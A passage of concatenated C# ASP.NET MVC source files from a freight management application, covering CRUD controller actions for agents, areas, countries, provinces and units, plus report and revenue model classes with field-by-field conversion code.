[HttpPost]
public ActionResult Agent(Grid<Agent> grid)
{
agentGrid = grid;
Session[AGENT_SEARCH_MODEL] = grid;
agentGrid.ProcessAction();
UpdateGridAgentData();
return PartialView("_AgentList", agentGrid);
}
private void UpdateGridAgentData()
{
ViewData["CountryListAgent"] = new SelectList(Countries, "CountryName", "CountryName");
var totalRow = 0;
var page = agentGrid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "AgentName" : page.Sidx, page.Sord == "asc");
var qr = agentService.GetAll(agentGrid.SearchCriteria);
if (!CurrenUser.IsAdmin())
qr = qr.Where(x => x.IsHideUser == false);
qr = qr.OrderBy(sort);
totalRow = qr.Count();
agentGrid.Pager.Init(totalRow);
if (totalRow == 0)
{
agentGrid.Data = new List<Agent>();
return;
}
agentGrid.Data = agentService.GetListPager(qr, page.CurrentPage, page.PageSize);
}
[HttpGet]
public ActionResult EditAgent(long id)
{
ViewBag.MessageStaus = sessageStaus;
ViewData["CountryListAgent"] = new SelectList(Countries, "CountryName", "CountryName");
if (id == 0)
return PartialView("_AgentFormEdit", new AgentModel() { User = CurrenUser });
var model = agentService.GetModelById(id);
return PartialView("_AgentFormEdit", model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult EditAgent(AgentModel model)
{
ViewData["CountryListAgent"] = new SelectList(Countries, "CountryName", "CountryName");
if (ModelState.IsValid)
{
if (model.Id > 0)
{
agentService.UpdateAgent(model, out sessageStaus);
}
else
{
model.User = CurrenUser;
agentService.InsertAgent(model, out sessageStaus);
}
return Json(1);
}
return PartialView("_AgentFormEdit", model);
}
public ActionResult DeleteAgent(long id)
{
agentService.DeleteAgent(id, out sessageStaus);
return RedirectToAction("Agent");
}
public ActionResult SetAgentActive(int id, bool isActive)
{
agentService.SetActive(id, isActive);
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult SeteAgentIsHideUser(long id, bool isChecked)
{
if (CurrenUser.IsAdmin())
{
var cus = agentService.GetById(id);
cus.IsHideUser = isChecked;
agentService.Commited();
}
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult SeteAgentIsSee(long id, bool isChecked)
{
if (CurrenUser.IsAdmin())
{
var cus = agentService.GetById(id);
cus.IsSee = isChecked;
agentService.Commited();
}
return Json("ok", JsonRequestBehavior.AllowGet);
}
#endregion
#region Area
[HttpGet]
public ActionResult Area()
{
areaGrid = (Grid<AreaModel>)Session[AREA_SEARCH_MODEL];
if (areaGrid == null)
{
areaGrid = new Grid<AreaModel>
(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sord = "asc",
Sidx = "AreaAddress"
}
)
{ SearchCriteria = new AreaModel() };
}
UpdateGridAreaData();
return View(areaGrid);
}
[HttpPost]
public ActionResult Area(Grid<AreaModel> grid)
{
areaGrid = grid;
Session[AREA_SEARCH_MODEL] = grid;
areaGrid.ProcessAction();
UpdateGridAreaData();
return PartialView("_AreaList", areaGrid);
}
private void UpdateGridAreaData()
{
var totalRow = 0;
var page = areaGrid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "AreaAddress" : page.Sidx, page.Sord == "asc");
var area = new Area();
if (areaGrid.SearchCriteria != null)
{
area = new Area
{
AreaAddress = areaGrid.SearchCriteria.AreaAddress,
CountryId = areaGrid.SearchCriteria.CountryId,
trading_yn = areaGrid.SearchCriteria.IsTrading,
};
}
var qr = areaService.GetAll(area);
if (!CurrenUser.IsAdmin())
qr = qr.Where(x => x.IsHideUser == false);
qr = qr.OrderBy(sort);
totalRow = qr.Count();
areaGrid.Pager.Init(totalRow);
List<AreaModel> list = new List<AreaModel>();
if (totalRow == 0)
{
areaGrid.Data = list;
return;
}
var data = areaService.GetListPager(qr, page.CurrentPage, page.PageSize);
list.AddRange(data.Select(db => Mapper.Map<AreaModel>(db)));
areaGrid.Data = list;
}
[HttpGet]
public ActionResult EditArea(long id)
{
ViewData["CountryList"] = new SelectList(Countries, "Id", "CountryName");
if (id == 0)
return PartialView("_AreaFormEdit", new AreaModel());
var model = areaService.GetModelById(id);
return PartialView("_AreaFormEdit", model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult EditArea(AreaModel model)
{
ViewData["CountryList"] = new SelectList(Countries, "Id", "CountryName");
if (ModelState.IsValid)
{
if (model.Id > 0)
{
areaService.UpdateArea(model);
}
else
{
areaService.InsertArea(model);
}
return Json(1);
}
return PartialView("_AreaFormEdit", model);
}
public ActionResult DeleteArea(long id)
{
areaService.DeleteArea(id);
return RedirectToAction("Area");
}
[HttpPost]
public ActionResult SetAreaTrading(long id, bool istrading)
{
if (CurrenUser.IsAdmin())
{
areaService.UpdateTradingArea(id, istrading);
}
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult SetAreaIsHideUser(long id, bool isChecked)
{
if (CurrenUser.IsAdmin())
{
var cus = areaService.GetById(id);
cus.IsHideUser = isChecked;
areaService.Commited();
}
return Json("ok", JsonRequestBehavior.AllowGet);
}
public ActionResult SetAreaIsSee(long id, bool isChecked)
{
if (CurrenUser.IsAdmin())
{
var cus = areaService.GetById(id);
cus.IsSee = isChecked;
areaService.Commited();
}
return Json("ok", JsonRequestBehavior.AllowGet);
}
#endregion
#region Country
[HttpGet]
public ActionResult Country()
{
countryGrid = (Grid<Country>)Session[COUNTRY_SEARCH_MODEL];
if (areaGrid == null)
{
countryGrid = new Grid<Country>
(
new Pager
{
CurrentPage = 1,
PageSize = 10,
Sord = "asc",
Sidx = "CountryName"
}
);
countryGrid.SearchCriteria = new Country();
}
UpdateGridCountryData();
return View(countryGrid);
}
[HttpPost]
public ActionResult Country(Grid<Country> grid)
{
countryGrid = grid;
Session[COUNTRY_SEARCH_MODEL] = grid;
countryGrid.ProcessAction();
UpdateGridCountryData();
return PartialView("_CountryList", countryGrid);
}
private void UpdateGridCountryData()
{
var totalRow = 0;
var page = countryGrid.Pager;
var sort = new SSM.Services.SortField(string.IsNullOrEmpty(page.Sidx) ? "CountryName" : page.Sidx, page.Sord == "asc");
var qr = countryService.GetQuery(x => string.IsNullOrEmpty(countryGrid.SearchCriteria.CountryName) || x.CountryName.Contains(countryGrid.SearchCriteria.CountryName));
qr = qr.OrderBy(sort);
totalRow = qr.Count();
countryGrid.Pager.Init(totalRow);
if (totalRow == 0)
{
countryGrid.Data = new List<Country>();
return;
}
countryGrid.Data = countryService.GetListPager(qr, page.CurrentPage, page.PageSize);
}
[HttpGet]
public ActionResult EditCountry(long id)
{
var model = countryService.GetModelById(id) ?? new CountryModel();
var value = new
{
Views = this.RenderPartialView("_CountryFormEdit", model),
Title = "Control country",
};
return JsonResult(value, true);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult EditCountry(CountryModel model)
{
if (ModelState.IsValid)
{
if (model.Id > 0)
{
countryService.UpdateCountry(model);
}
else
{
if (!Countries.Any(m => m.CountryName.ToLower().Equals(model.CountryName.ToLower())))
countryService.InsertCountry(model);
}
return Json(new
{
Message = @"Thành công",
Success = true
}, JsonRequestBehavior.AllowGet);
}
return PartialView("_CountryFormEdit", model);
}
public ActionResult DeleteCountry(long id)
{
countryService.DeleteCountry(id);
return RedirectToAction("Country");
}
public ActionResult LoadXmlData()
{
string appDirectory = Server.MapPath(@"~/countriesStates.xml");
var data = Helpers.LoadCitiesXmlData(appDirectory);
var allcountriesDb = countryService.GetAllCountry().Select(x => x.CountryName).Distinct().ToList();
var mCountries = data.CountryModels.Where(x => !allcountriesDb.Contains(x.CountryName)).ToList();
var cities = data.ProvinceModels;
foreach (var country in mCountries)
{
var id = countryService.GetIdByName(country.CountryName);
CountryModel countryToDb = country;
if (id ==0)
{
countryToDb.Id = 0;
countryService.InsertCountry(countryToDb);
}
}
foreach (var city in cities)
{
if (city == null)
continue;
var country = city.Country;
if (country == null)
continue;
var dbCountry = countryService.GetModelByName(country.CountryName);
if (dbCountry == null)
continue;
city.CountryId = dbCountry.Id;
if (dbCountry.Id == 126)
city.Name = Helpers.NonUnicode(city.Name);
var dbcity = province.FindEntity(c => c.Name == city.Name && c.CountryId == dbCountry.Id);
if (dbcity == null)
{
city.Id = 0;
province.InsertProvince(city);
}
else
{
province.UpdateProvince(city);
}
}
return Json("Ok", JsonRequestBehavior.AllowGet);
}
public ActionResult LoadJsonData()
{
return Json("OK");
}
public ActionResult ProvinceByCountry(long countryId, string name)
{
@ViewBag.CountryName = name;
@ViewBag.CountryId = countryId;
var provinces = province.GetQuery(x => x.CountryId == countryId).OrderBy(x => x.Name).ToList();
var value = new
{
Views = this.RenderPartialView("_stateList", provinces),
Title = name,
};
return JsonResult(value, true);
}
[HttpPost]
public ActionResult ProvinceByCountry(string ProvinceName, long countryId)
{
var provinces =
province.GetQuery(
x =>
x.CountryId == countryId &&
(string.IsNullOrEmpty(ProvinceName) || x.Name.Contains(ProvinceName)))
.OrderBy(x => x.Name)
.ToList();
return PartialView("_provinceList", provinces);
}
public ActionResult ProvinceEdit(long id, long countryId = 0)
{
var model = province.GetModelById(id) ?? new ProvinceModel() { CountryId = countryId };
var value = new
{
Views = this.RenderPartialView("_province", model),
Title = "Create/Edit Province",
ColumnClass = "col-md-6 col-md-offset-3"
};
return JsonResult(value, true);
}
[HttpPost]
public ActionResult ProvinceEdit(ProvinceModel model)
{
if (ModelState.IsValid)
{
if (model.Id > 0)
{
province.UpdateProvince(model);
}
else
{
if (!province.Any(m => m.Name.ToLower().Equals(model.Name.ToLower())))
province.InsertProvince(model);
}
var provinces = province.GetQuery(x => x.CountryId == model.CountryId).OrderBy(x => x.Name).ToList();
var value = this.RenderPartialView("_provinceList", provinces);
return JsonResult(value);
}
return PartialView("_province", model);
}
public ActionResult DeleteProvince(long id, long countryId)
{
province.DeleteProvince(id);
var provinces = province.GetQuery(x => x.CountryId == countryId).OrderBy(x => x.Name).ToList();
var value = this.RenderPartialView("_provinceList", provinces);
return PartialView("_provinceList", provinces);
}
#endregion
#region Unit
public ActionResult Unit()
{
var list = unitService.GetQuery().OrderBy(x => x.Unit1).ToList();
return View(list);
}
[HttpGet]
public ActionResult EditUnit(long id)
{
ViewData["ServiceTypes"] = ServiceTypes;
if (id == 0)
return PartialView("_UnitFormEdit", new UnitModel());
var model = unitService.GetModelById(id);
return PartialView("_UnitFormEdit", model);
}
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult EditUnit(UnitModel model)
{
ViewData["ServiceTypes"] = ServiceTypes;
if (ModelState.IsValid)
{
if (model.Id > 0)
{
unitService.UpdateUnit(model);
}
else
{
unitService.InsertUnit(model);
}
return Json(1);
}
return PartialView("_UnitFormEdit", model);
}
public ActionResult DeleteUnit(long id)
{
unitService.DeleteUnit(id);
return RedirectToAction("Unit");
}
#endregion
}
}<file_sep>namespace SSM.ViewModels.Reports
{
public class StockInDetailReport
{
public string ProductName { get; set; }
public string ProductCode { get; set; }
public string Unit { get; set; }
public string WarehouseName { get; set; }
public string WarehouseAddress { get; set; }
public decimal Quantity { get; set; }
public decimal Price { get; set; }
public decimal Amount { get; set; }
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using SSM.Models;
namespace SSM.Views.Freight
{
public partial class ListOceanFreight : ViewPage<SSM.Models.FreightModel>
{
private FreightServices _freightService;
protected void Page_Load(object sender, EventArgs e)
{
_freightService = new FreightServicesImpl();
}
public String getDocumentsBy(long ObjectId) {
IEnumerable<ServerFile> Files = _freightService.getServerFile(ObjectId, new SSM.Models.Freight().GetType().ToString());
String link = "";
if (Files != null && Files.Count() > 0) {
foreach (ServerFile File1 in Files) {
link += "<a class='LinkClass' href='../.." + File1.Path + "' target='_blank'>" + File1.FileName + "</a><br />";
}
}
return link;
}
}
}<file_sep>using System;
using System.ComponentModel.DataAnnotations;
namespace SSM.Models
{
public class RevenueModel
{
public long Id { get; set; }
[Required]
public double BRate { get; set; }
[Required]
public double ARate { get; set; }
public double SRate { get; set; }
public double INTransportRate { get; set; }
public double INInlandService { get; set; }
public double INCreditDebit { get; set; }
public double INDocumentFee { get; set; }
public double INHandingFee { get; set; }
public double INTHC { get; set; }
public double INCFS { get; set; }
public string AutoName1 { get; set; }
public string AutoName2 { get; set; }
public double INAutoValue1 { get; set; }
public double INAutoValue2 { get; set; }
public double OUTAutoValue1 { get; set; }
public double OUTAutoValue2 { get; set; }
public double INTransportRateOS { get; set; }
public double INInlandServiceOS { get; set; }
public double INCreditDebitOS { get; set; }
public double INDocumentFeeOS { get; set; }
public double INHandingFeeOS { get; set; }
public double INAutoValue1OS { get; set; }
public double INAutoValue2OS { get; set; }
public double EXAutoValue1OS { get; set; }
public double EXAutoValue2OS { get; set; }
public double EXTransportRateOS { get; set; }
public double EXTransportRate { get; set; }
public double EXInlandServiceOS { get; set; }
public double EXInlandService { get; set; }
public double EXCommision2Shipper { get; set; }
public double EXCommision2Carrier { get; set; }
public double EXTax { get; set; }
public double EXCreditDebit { get; set; }
public double EXCreditDebitOS { get; set; }
public double EXDocumentFee { get; set; }
public double EXHandingFee { get; set; }
public double EXTHC { get; set; }
public double EXCFS { get; set; }
public string EXManualName1 { get; set; }
public string EXManualName2 { get; set; }
public double EXManualValue1 { get; set; }
public double ExManualValue2 { get; set; }
public double EXmanualValue1OS { get; set; }
public double EXmanualValue2OS { get; set; }
public double InvoiceCustom { get; set; }
public string Description4Invoice { get; set; }
public string INRemark { get; set; }
public string EXRemark { get; set; }
public string INRemarkHidden { get; set; }
public string EXRemarkHidden { get; set; }
public double Income { get; set; }
public double INVI { get; set; }
public double INOS { get; set; }
public double Expense { get; set; }
public double EXVI { get; set; }
public double EXOS { get; set; }
public double Earning { get; set; }
public double EarningVI { get; set; }
public double EarningOS { get; set; }
public decimal InvAmount1 { get; set; }
public string InvType1 { get; set; }
public String InvCurrency1 { get; set; }
public System.Nullable<long> InvAgentId1 { get; set; }
public System.Nullable<decimal> InvAmount2 { get; set; }
public string InvType2 { get; set; }
public String InvCurrency2 { get; set; }
public System.Nullable<long> InvAgentId2 { get; set; }
public double BonRequest { get; set; }
public double BonApprove { get; set; }
public decimal AmountBonus1 { get; set; }
public decimal AmountBonus2 { get; set; }
public string AccInv1 { get; set; }
public string AccInv2 { get; set; }
public string AccInv3 { get; set; }
public string AccInv4 { get; set; }
public String AccInvDate1 { get; set; }
public String AccInvDate2 { get; set; }
public String AccInvDate3 { get; set; }
public String AccInvDate4 { get; set; }
public System.Nullable<long> ApproveId { get; set; }
public String ApproveName { get; set; }
public System.Nullable<long> AccountId { get; set; }
public int Tax { get; set; }
public long PaidToCarrier { get; set; }
public String SaleType { get; set; }
public bool IsTrading { get; set; }
public bool IsControl { get; set; }
public bool IsRequest { get; set; }
public bool IsRevised { get; set; }
public Shipment Shipment { get; set; }
public static Revenue ConvertModel(RevenueModel RevenueModel1)
{
Revenue Revenue1 = new Revenue();
Revenue1.Id = RevenueModel1.Id;
Revenue1.BRate = Convert.ToDecimal(RevenueModel1.BRate);
Revenue1.ARate = Convert.ToDecimal(RevenueModel1.ARate);
Revenue1.SRate = Convert.ToDecimal(RevenueModel1.SRate);
Revenue1.INTransportRate = Convert.ToDecimal(RevenueModel1.INTransportRate);
Revenue1.INInlandService = Convert.ToDecimal(RevenueModel1.INInlandService);
Revenue1.INCreditDebit = Convert.ToDecimal(RevenueModel1.INCreditDebit);
Revenue1.INDocumentFee = Convert.ToDecimal(RevenueModel1.INDocumentFee);
Revenue1.INHandingFee = Convert.ToDecimal(RevenueModel1.INHandingFee);
Revenue1.INTHC = Convert.ToDecimal(RevenueModel1.INTHC);
Revenue1.INCFS = Convert.ToDecimal(RevenueModel1.INCFS);
Revenue1.AutoName1 = RevenueModel1.AutoName1;
Revenue1.AutoName2 = RevenueModel1.AutoName2;
Revenue1.INAutoValue1 = Convert.ToDecimal(RevenueModel1.INAutoValue1);
Revenue1.INAutoValue2 = Convert.ToDecimal(RevenueModel1.INAutoValue2);
Revenue1.OUTAutoValue1 = Convert.ToDecimal(RevenueModel1.OUTAutoValue1);
Revenue1.OUTAutoValue2 = Convert.ToDecimal(RevenueModel1.OUTAutoValue2);
Revenue1.INTransportRate_OS = Convert.ToDecimal(RevenueModel1.INTransportRateOS);
Revenue1.INInlandService_OS = Convert.ToDecimal(RevenueModel1.INInlandServiceOS);
Revenue1.INCreditDebit_OS = Convert.ToDecimal(RevenueModel1.INCreditDebitOS);
Revenue1.INDocumentFee_OS = Convert.ToDecimal(RevenueModel1.INDocumentFeeOS);
Revenue1.INHandingFee_OS = Convert.ToDecimal(RevenueModel1.INHandingFeeOS);
Revenue1.INAutoValue1_OS = Convert.ToDecimal(RevenueModel1.INAutoValue1OS);
Revenue1.INAutoValue2_OS = Convert.ToDecimal(RevenueModel1.INAutoValue2OS);
Revenue1.EXAutoValue1_OS = Convert.ToDecimal(RevenueModel1.EXAutoValue1OS);
Revenue1.EXAutoValue2_OS = Convert.ToDecimal(RevenueModel1.EXAutoValue2OS);
Revenue1.EXTransportRate_OS = Convert.ToDecimal(RevenueModel1.EXTransportRateOS);
Revenue1.EXTransportRate = Convert.ToDecimal(RevenueModel1.EXTransportRate);
Revenue1.EXInlandService_OS = Convert.ToDecimal(RevenueModel1.EXInlandServiceOS);
Revenue1.EXInlandService = Convert.ToDecimal(RevenueModel1.EXInlandService);
Revenue1.EXCommision2Shipper = Convert.ToDecimal(RevenueModel1.EXCommision2Shipper);
Revenue1.EXCommision2Carrier = Convert.ToDecimal(RevenueModel1.EXCommision2Carrier);
Revenue1.EXTax = Convert.ToDecimal(RevenueModel1.EXTax);
Revenue1.EXCreditDebit = Convert.ToDecimal(RevenueModel1.EXCreditDebit);
Revenue1.EXCreditDebit_OS = Convert.ToDecimal(RevenueModel1.EXCreditDebitOS);
Revenue1.EXDocumentFee = Convert.ToDecimal(RevenueModel1.EXDocumentFee);
Revenue1.EXHandingFee = Convert.ToDecimal(RevenueModel1.EXHandingFee);
Revenue1.EXTHC = Convert.ToDecimal(RevenueModel1.EXTHC);
Revenue1.EXCFS = Convert.ToDecimal(RevenueModel1.EXCFS);
Revenue1.EXManualName1 = RevenueModel1.EXManualName1;
Revenue1.EXManualName2 = RevenueModel1.EXManualName2;
Revenue1.EXManualValue1 = Convert.ToDecimal(RevenueModel1.EXManualValue1);
Revenue1.ExManualValue2 = Convert.ToDecimal(RevenueModel1.ExManualValue2);
Revenue1.EXmanualValue1_OS = Convert.ToDecimal(RevenueModel1.EXmanualValue1OS);
Revenue1.EXmanualValue2_OS = Convert.ToDecimal(RevenueModel1.EXmanualValue2OS);
Revenue1.InvoiceCustom = Convert.ToDecimal(RevenueModel1.InvoiceCustom);
Revenue1.Description4Invoice = RevenueModel1.Description4Invoice;
Revenue1.INRemark = RevenueModel1.INRemark;
Revenue1.EXRemark = RevenueModel1.EXRemark;
Revenue1.Income = Convert.ToDecimal(RevenueModel1.Income);
Revenue1.INVI = Convert.ToDecimal(RevenueModel1.INVI);
Revenue1.INOS = Convert.ToDecimal(RevenueModel1.INOS);
Revenue1.Expense = Convert.ToDecimal(RevenueModel1.Expense);
Revenue1.EXVI = Convert.ToDecimal(RevenueModel1.EXVI);
Revenue1.EXOS = Convert.ToDecimal(RevenueModel1.EXOS);
Revenue1.Earning = Convert.ToDecimal(RevenueModel1.Earning);
Revenue1.EarningVI = Convert.ToDecimal(RevenueModel1.EarningVI);
Revenue1.EarningOS = Convert.ToDecimal(RevenueModel1.EarningOS);
Revenue1.InvType1 = RevenueModel1.InvType1;
Revenue1.InvType2 = RevenueModel1.InvType2;
Revenue1.InvAgentId1 = RevenueModel1.InvAgentId1;
Revenue1.InvAgentId2 = RevenueModel1.InvAgentId2;
Revenue1.InvAmount1 = RevenueModel1.InvAmount1;
Revenue1.InvAmount2 = RevenueModel1.InvAmount2;
Revenue1.Currency1 = RevenueModel1.InvCurrency1;
Revenue1.Currency2 = RevenueModel1.InvCurrency2;
Revenue1.AmountBonus1 = RevenueModel1.AmountBonus1;
Revenue1.AmountBonus2 = RevenueModel1.AmountBonus2;
Revenue1.BonRequest = (int)RevenueModel1.BonRequest;
Revenue1.BonApprove = Convert.ToDecimal(RevenueModel1.BonApprove);
Revenue1.AmountBonus1 = RevenueModel1.AmountBonus1;
Revenue1.AmountBonus2 = RevenueModel1.AmountBonus2;
Revenue1.SaleType = RevenueModel1.SaleType;
if (RevenueModel1.ApproveId != null)
{
Revenue1.ApproveId = RevenueModel1.ApproveId.Value;
}
if (RevenueModel1.AccountId != null)
{
Revenue1.AccountId = RevenueModel1.AccountId.Value;
}
Revenue1.Tax = RevenueModel1.Tax;
Revenue1.PaidToCarrier = RevenueModel1.PaidToCarrier;
Revenue1.IsControl = RevenueModel1.IsControl;
Revenue1.IsRequest = RevenueModel1.IsRequest;
Revenue1.IsRevised = RevenueModel1.IsRevised;
return Revenue1;
}
public static void ConvertModel(RevenueModel RevenueModel1, Revenue Revenue1)
{
Revenue1.Id = RevenueModel1.Id;
Revenue1.BRate = Convert.ToDecimal(RevenueModel1.BRate);
Revenue1.ARate = Convert.ToDecimal(RevenueModel1.ARate);
Revenue1.SRate = Convert.ToDecimal(RevenueModel1.SRate);
Revenue1.INTransportRate = Convert.ToDecimal(RevenueModel1.INTransportRate);
Revenue1.INInlandService = Convert.ToDecimal(RevenueModel1.INInlandService);
Revenue1.INCreditDebit = Convert.ToDecimal(RevenueModel1.INCreditDebit);
Revenue1.INDocumentFee = Convert.ToDecimal(RevenueModel1.INDocumentFee);
Revenue1.INHandingFee = Convert.ToDecimal(RevenueModel1.INHandingFee);
Revenue1.INTHC = Convert.ToDecimal(RevenueModel1.INTHC);
Revenue1.INCFS = Convert.ToDecimal(RevenueModel1.INCFS);
Revenue1.AutoName1 = RevenueModel1.AutoName1;
Revenue1.AutoName2 = RevenueModel1.AutoName2;
Revenue1.INAutoValue1 = Convert.ToDecimal(RevenueModel1.INAutoValue1);
Revenue1.INAutoValue2 = Convert.ToDecimal(RevenueModel1.INAutoValue2);
Revenue1.OUTAutoValue1 = Convert.ToDecimal(RevenueModel1.OUTAutoValue1);
Revenue1.OUTAutoValue2 = Convert.ToDecimal(RevenueModel1.OUTAutoValue2);
Revenue1.INTransportRate_OS = Convert.ToDecimal(RevenueModel1.INTransportRateOS);
Revenue1.INInlandService_OS = Convert.ToDecimal(RevenueModel1.INInlandServiceOS);
Revenue1.INCreditDebit_OS = Convert.ToDecimal(RevenueModel1.INCreditDebitOS);
Revenue1.INDocumentFee_OS = Convert.ToDecimal(RevenueModel1.INDocumentFeeOS);
Revenue1.INHandingFee_OS = Convert.ToDecimal(RevenueModel1.INHandingFeeOS);
Revenue1.INAutoValue1_OS = Convert.ToDecimal(RevenueModel1.INAutoValue1OS);
Revenue1.INAutoValue2_OS = Convert.ToDecimal(RevenueModel1.INAutoValue2OS);
Revenue1.EXAutoValue1_OS = Convert.ToDecimal(RevenueModel1.EXAutoValue1OS);
Revenue1.EXAutoValue2_OS = Convert.ToDecimal(RevenueModel1.EXAutoValue2OS);
Revenue1.EXTransportRate_OS = Convert.ToDecimal(RevenueModel1.EXTransportRateOS);
Revenue1.EXTransportRate = Convert.ToDecimal(RevenueModel1.EXTransportRate);
Revenue1.EXInlandService_OS = Convert.ToDecimal(RevenueModel1.EXInlandServiceOS);
Revenue1.EXInlandService = Convert.ToDecimal(RevenueModel1.EXInlandService);
Revenue1.EXCommision2Shipper = Convert.ToDecimal(RevenueModel1.EXCommision2Shipper);
Revenue1.EXCommision2Carrier = Convert.ToDecimal(RevenueModel1.EXCommision2Carrier);
Revenue1.EXTax = Convert.ToDecimal(RevenueModel1.EXTax);
Revenue1.EXCreditDebit = Convert.ToDecimal(RevenueModel1.EXCreditDebit);
Revenue1.EXCreditDebit_OS = Convert.ToDecimal(RevenueModel1.EXCreditDebitOS);
Revenue1.EXDocumentFee = Convert.ToDecimal(RevenueModel1.EXDocumentFee);
Revenue1.EXHandingFee = Convert.ToDecimal(RevenueModel1.EXHandingFee);
Revenue1.EXTHC = Convert.ToDecimal(RevenueModel1.EXTHC);
Revenue1.EXCFS = Convert.ToDecimal(RevenueModel1.EXCFS);
Revenue1.EXManualName1 = RevenueModel1.EXManualName1;
Revenue1.EXManualName2 = RevenueModel1.EXManualName2;
Revenue1.EXManualValue1 = Convert.ToDecimal(RevenueModel1.EXManualValue1);
Revenue1.ExManualValue2 = Convert.ToDecimal(RevenueModel1.ExManualValue2);
Revenue1.EXmanualValue1_OS = Convert.ToDecimal(RevenueModel1.EXmanualValue1OS);
Revenue1.EXmanualValue2_OS = Convert.ToDecimal(RevenueModel1.EXmanualValue2OS);
Revenue1.InvoiceCustom = Convert.ToDecimal(RevenueModel1.InvoiceCustom);
Revenue1.Description4Invoice = RevenueModel1.Description4Invoice;
Revenue1.INRemark = RevenueModel1.INRemark;
Revenue1.EXRemark = RevenueModel1.EXRemark;
Revenue1.Income = Convert.ToDecimal(RevenueModel1.Income);
Revenue1.INVI = Convert.ToDecimal(RevenueModel1.INVI);
Revenue1.INOS = Convert.ToDecimal(RevenueModel1.INOS);
Revenue1.Expense = Convert.ToDecimal(RevenueModel1.Expense);
Revenue1.EXVI = Convert.ToDecimal(RevenueModel1.EXVI);
Revenue1.EXOS = Convert.ToDecimal(RevenueModel1.EXOS);
Revenue1.Earning = Convert.ToDecimal(RevenueModel1.Earning);
Revenue1.EarningVI = Convert.ToDecimal(RevenueModel1.EarningVI);
Revenue1.EarningOS = Convert.ToDecimal(RevenueModel1.EarningOS);
Revenue1.InvType1 = RevenueModel1.InvType1;
Revenue1.InvType2 = RevenueModel1.InvType2;
Revenue1.InvAgentId1 = RevenueModel1.InvAgentId1;
Revenue1.InvAgentId2 = RevenueModel1.InvAgentId2;
Revenue1.InvAmount1 = RevenueModel1.InvAmount1;
Revenue1.InvAmount2 = RevenueModel1.InvAmount2;
Revenue1.Currency1 = RevenueModel1.InvCurrency1;
Revenue1.Currency2 = RevenueModel1.InvCurrency2;
Revenue1.AmountBonus1 = RevenueModel1.AmountBonus1;
Revenue1.AmountBonus2 = RevenueModel1.AmountBonus2;
Revenue1.BonRequest = (int)RevenueModel1.BonRequest;
Revenue1.BonApprove = Convert.ToDecimal(RevenueModel1.BonApprove);
Revenue1.AmountBonus1 = RevenueModel1.AmountBonus1;
Revenue1.AmountBonus2 = RevenueModel1.AmountBonus2;
Revenue1.SaleType = RevenueModel1.SaleType;
if (RevenueModel1.ApproveId != null)
{
Revenue1.ApproveId = RevenueModel1.ApproveId.Value;
}
if (RevenueModel1.AccountId != null)
{
Revenue1.AccountId = RevenueModel1.AccountId.Value;
}
Revenue1.Tax = RevenueModel1.Tax;
Revenue1.IsControl = RevenueModel1.IsControl;
Revenue1.IsRevised = RevenueModel1.IsRevised;
Revenue1.IsRequest = RevenueModel1.IsRequest;
Revenue1.PaidToCarrier = RevenueModel1.PaidToCarrier;
}
public static RevenueModel ConvertModel(Revenue Revenue1)
{
RevenueModel RevenueModel1 = new RevenueModel();
RevenueModel1.Id = Revenue1.Id;
RevenueModel1.BRate = Convert.ToDouble(Revenue1.BRate);
RevenueModel1.ARate = Convert.ToDouble(Revenue1.ARate);
RevenueModel1.SRate = Convert.ToDouble(Revenue1.SRate);
RevenueModel1.INTransportRate = Convert.ToDouble(Revenue1.INTransportRate);
RevenueModel1.INInlandService = Convert.ToDouble(Revenue1.INInlandService);
RevenueModel1.INCreditDebit = Convert.ToDouble(Revenue1.INCreditDebit);
RevenueModel1.INDocumentFee = Convert.ToDouble(Revenue1.INDocumentFee);
RevenueModel1.INHandingFee = Convert.ToDouble(Revenue1.INHandingFee);
RevenueModel1.INTHC = Convert.ToDouble(Revenue1.INTHC);
RevenueModel1.INCFS = Convert.ToDouble(Revenue1.INCFS);
RevenueModel1.AutoName1 = Revenue1.AutoName1;
RevenueModel1.AutoName2 = Revenue1.AutoName2;
RevenueModel1.INAutoValue1 = Convert.ToDouble(Revenue1.INAutoValue1);
RevenueModel1.INAutoValue2 = Convert.ToDouble(Revenue1.INAutoValue2);
RevenueModel1.OUTAutoValue1 = Convert.ToDouble(Revenue1.OUTAutoValue1);
RevenueModel1.OUTAutoValue2 = Convert.ToDouble(Revenue1.OUTAutoValue2);
RevenueModel1.INTransportRateOS = Convert.ToDouble(Revenue1.INTransportRate_OS);
RevenueModel1.INInlandServiceOS = Convert.ToDouble(Revenue1.INInlandService_OS);
RevenueModel1.INCreditDebitOS = Convert.ToDouble(Revenue1.INCreditDebit_OS);
RevenueModel1.INDocumentFeeOS = Convert.ToDouble(Revenue1.INDocumentFee_OS);
RevenueModel1.INHandingFeeOS = Convert.ToDouble(Revenue1.INHandingFee_OS);
RevenueModel1.INAutoValue1OS = Convert.ToDouble(Revenue1.INAutoValue1_OS);
RevenueModel1.INAutoValue2OS = Convert.ToDouble(Revenue1.INAutoValue2_OS);
RevenueModel1.EXAutoValue1OS = Convert.ToDouble(Revenue1.EXAutoValue1_OS);
RevenueModel1.EXAutoValue2OS = Convert.ToDouble(Revenue1.EXAutoValue2_OS);
RevenueModel1.EXTransportRateOS = Convert.ToDouble(Revenue1.EXTransportRate_OS);
RevenueModel1.EXTransportRate = Convert.ToDouble(Revenue1.EXTransportRate);
RevenueModel1.EXInlandServiceOS = Convert.ToDouble(Revenue1.EXInlandService_OS);
RevenueModel1.EXInlandService = Convert.ToDouble(Revenue1.EXInlandService);
RevenueModel1.EXCommision2Shipper = Convert.ToDouble(Revenue1.EXCommision2Shipper);
RevenueModel1.EXCommision2Carrier = Convert.ToDouble(Revenue1.EXCommision2Carrier);
RevenueModel1.EXTax = Convert.ToDouble(Revenue1.EXTax);
RevenueModel1.EXCreditDebit = Convert.ToDouble(Revenue1.EXCreditDebit);
